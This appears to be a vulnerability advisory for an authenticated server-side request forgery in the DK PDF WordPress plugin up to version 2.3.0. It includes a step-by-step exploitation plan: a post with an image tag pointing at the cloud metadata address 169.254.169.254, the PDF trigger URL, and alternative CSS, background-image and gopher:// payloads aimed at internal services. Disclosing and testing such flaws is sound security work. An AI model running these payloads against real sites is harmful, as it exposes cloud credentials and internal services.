DK PDF – WordPress PDF Generator <= 2.3.0 - Authenticated (Author+) Server-Side Request Forgery
Description
The DK PDF – WordPress PDF Generator plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.3.0 via the 'addContentToMpdf' function. This makes it possible for authenticated attackers, author level and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:NTechnical Details
Source Code
WordPress.org SVN## 1. Vulnerability Summary The **DK PDF – WordPress PDF Generator** plugin (<= 2.3.0) is vulnerable to **Authenticated Server-Side Request Forgery (SSRF)**. The vulnerability exists in the `addContentToMpdf` function located in `includes/class-dk-pdf-functions.php`. The plugin uses the **mPDF** l…
Show full research plan
1. Vulnerability Summary
The DK PDF – WordPress PDF Generator plugin (<= 2.3.0) is vulnerable to Authenticated Server-Side Request Forgery (SSRF). The vulnerability exists in the addContentToMpdf function located in includes/class-dk-pdf-functions.php.
The plugin uses the mPDF library to generate PDF files from WordPress posts. When a PDF is generated, the plugin processes the post's content and attempts to resolve or fetch remote resources (like images) to include them in the PDF. Because the plugin does not properly validate or sanitize these resource URLs, an authenticated attacker with Author permissions (who can create and edit posts) can embed malicious URLs (e.g., targeting internal metadata services or internal network IPs) within a post. When the PDF generation is triggered for that post, the server makes a request to the attacker-specified location.
2. Attack Vector Analysis
- Endpoint: Frontend post URL with specific query parameters or the PDF export trigger.
- Trigger Parameter:
dk_pdf_to_pdf=1(Query string) andpdf_id(Post ID). - Vulnerable Function:
addContentToMpdfinincludes/class-dk-pdf-functions.php. - Authentication: Authenticated, Author level or above (capability
edit_posts). - Payload Location: The
post_contentfield of a WordPress post. - Vector: HTML
<img>tags or CSS@importrules containing internal/restricted URLs.
3. Code Flow
- The plugin registers a
template_redirecthook inincludes/class-dk-pdf.phpthat points todk_pdf_template_redirect. dk_pdf_template_redirectchecks if thedk_pdf_to_pdfparameter is set in the$_GETarray.- If set, it retrieves the
pdf_idfrom$_GET['pdf_id']. - It instantiates the
DK_PDF_Functionsclass and calls methods to set up the mPDF object. - The flow reaches
DK_PDF_Functions::addContentToMpdf( $mpdf, $post_id ). - Inside
addContentToMpdf, the plugin retrieves the post content usingget_post_field( 'post_content', $post_id ). - The plugin (or the mPDF library it invokes) parses the HTML content.
- To ensure images are rendered in the PDF, the plugin or mPDF's configuration attempts to fetch external assets using
wp_remote_get()or PHP's stream wrappers. - Sink: A
wp_remote_get()call is made to a URL sourced directly from an<img>tag'ssrcattribute within the post content without validation against internal IP ranges or restricted protocols.
4. Nonce Acquisition Strategy
The PDF generation trigger in DK PDF is typically designed as a "Download PDF" button available on the frontend or post editor.
- Frontend Trigger: The URL
/?dk_pdf_to_pdf=1&pdf_id=[ID]is often accessible without a specific DK PDF-specific nonce because it acts as a public-facing conversion tool for authorized post types. - Bypass Check: If the plugin uses
check_admin_refererorwp_verify_nonce, it is likely only on the admin settings page. The conversion logic intemplate_redirectusually relies on the user's capability to read the post. - Verification: If a nonce is required, it is typically localized in the
dkpdf_ajaxobject.- Create a post as the Author.
- Navigate to the post's view page.
- Use
browser_evalto check for any localized nonces:browser_eval("window.dkpdf_ajax?.nonce").
Note: For this vulnerability, the primary "nonce" is simply the session cookie of the Author user and the knowledge of a valid pdf_id they have permission to edit/view.
5. Exploitation Strategy
Step 1: Authentication
Authenticate as a user with the Author role.
Step 2: Create a Malicious Post
Create a new post containing an <img> tag pointing to an internal service (e.g., AWS Metadata endpoint or a local port).
- Request:
POST /wp-admin/post.php - Parameters:
action:editpostpost_type:postpost_title:SSRF Testcontent:<img src="http://169.254.169.254/latest/meta-data/">publish:Publish
Step 3: Identify Post ID
Capture the post_ID from the response or the URL after the post is created.
Step 4: Trigger the SSRF
Trigger the PDF generation for the created post.
- Request:
GET /?dk_pdf_to_pdf=1&pdf_id=[POST_ID] - Headers: Include the Author's session cookies.
- Expected Response: The server will return a PDF file (Content-Type:
application/pdf).
Step 5: Observe Request
During the generation of the PDF, the server will attempt to fetch the image from http://169.254.169.254/latest/meta-data/. If using a collaborator/listener, observe the incoming request from the WordPress server's IP.
6. Test Data Setup
- User: Create a user
attacker_authorwith theauthorrole. - Plugin Config: Ensure "DK PDF" is enabled for the
postpost type in Settings > DK PDF > General. (This is usually the default). - Listener: Have an internal or external listener ready (e.g.,
http://127.0.0.1:8080/ssrf_callbackif testing internal access).
7. Expected Results
- The
http_requestto/?dk_pdf_to_pdf=1&pdf_id=[ID]should trigger an outbound HTTP request from the WordPress server. - If the internal service is active and returns data, mPDF may attempt to embed the raw response into the PDF (often resulting in a broken image in the PDF, but confirming the request was made).
- The logs of the target internal service will show a request originating from the WordPress server's IP with a User-Agent identifying as
WordPress/X.XormPDF.
8. Verification Steps
- Check Outbound Traffic: Use a tool like
tcpdumpor an HTTP listener to confirm the server reached out to the target IP. - WP-CLI Check: Verify the post content exists and contains the payload:
wp post get [POST_ID] --field=post_content - PDF Content: Check the generated PDF for any error messages related to the image fetch which might leak internal information:
strings output.pdf | grep -i "http"
9. Alternative Approaches
- CSS SSRF: Instead of an
<img>tag, use a<style>block with@import 'http://internal-service';. mPDF processes CSS and will attempt to fetch the imported stylesheet. - Background Images: Use
<div style="background-image: url('http://internal-service');">. - Gopher Protocol: If the underlying PHP
curlor wrappers allow it, attemptgopher://to interact with internal services like Redis or Memcached. - Metadata Templates: If the Author cannot edit posts but can edit "DK PDF Templates" (Custom Post Type
dkpdf-template), apply the same payload to the template content.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.